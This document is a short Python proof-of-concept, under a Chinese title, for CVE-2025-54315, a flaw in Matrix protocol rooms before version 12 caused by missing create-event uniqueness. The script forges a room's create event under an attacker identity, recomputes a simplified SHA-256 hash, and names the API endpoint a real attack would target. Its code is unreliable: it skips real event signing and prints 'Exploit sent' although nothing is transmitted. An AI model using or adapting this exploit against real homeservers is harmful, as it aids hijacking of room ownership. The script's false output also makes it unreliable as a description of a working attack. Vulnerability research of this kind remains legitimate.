CVE-2025-54315 Matrix协议规范创建事件唯一性缺失漏洞

# CVE-2025-54315 PoC - Matrix Create Event Uniqueness Bypass # This PoC demonstrates how to exploit the lack of create event uniqueness # in Matrix protocol specification before 1.16 (room version < 12) import json import hashlib # Step 1: Construct a malicious create event with forged sender def create_malicious_event(original_event, forged_sender): """ Create a malicious create event that mimics the original but with a different sender field, exploiting the lack of uniqueness check. """ malicious_event = original_event.copy() malicious_event["sender"] = forged_sender # Forge the creator identity # Keep the same type, room_id, and state_key as the original malicious_event["type"] = "m.room.create" malicious_event["state_key"] = "" # create events have empty state_key # Recalculate hashes (simplified for demonstration) event_content = json.dumps(malicious_event, sort_keys=True).encode() malicious_event["hashes"] = { "sha256": hashlib.sha256(event_content).hexdigest() } return malicious_event # Step 2: Simulate state resolution exploit def exploit_state_resolution(room_id, original_create_event, attacker_user_id): """ Exploit the state resolution algorithm by injecting a forged create event into the room state. """ print(f"[*] Targeting room: {room_id}") print(f"[*] Original creator: {original_create_event['sender']}") print(f"[*] Attacker forging as: {attacker_user_id}") # Create the malicious event malicious_event = create_malicious_event(original_create_event, attacker_user_id) # In a real exploit, this event would be sent to the homeserver # via the Matrix client-server API: # PUT /_matrix/client/v3/rooms/{roomId}/state/m.room.create/ # With body: { "creator": attacker_user_id, "room_version": "11" } print(f"[+] Malicious create event constructed:") print(json.dumps(malicious_event, indent=2)) print(f"[!] Exploit sent - awaiting state resolution on target homeserver") return malicious_event # Example usage (for room version < 12) if __name__ == "__main__": original_event = { "sender": "@legitimate_user:matrix.org", "type": "m.room.create", "state_key": "", "content": { "creator": "@legitimate_user:matrix.org", "room_version": "11" }, "room_id": "!exampleRoom:matrix.org" } attacker = "@attacker:evil.example.com" exploit_state_resolution( "!exampleRoom:matrix.org", original_event, attacker )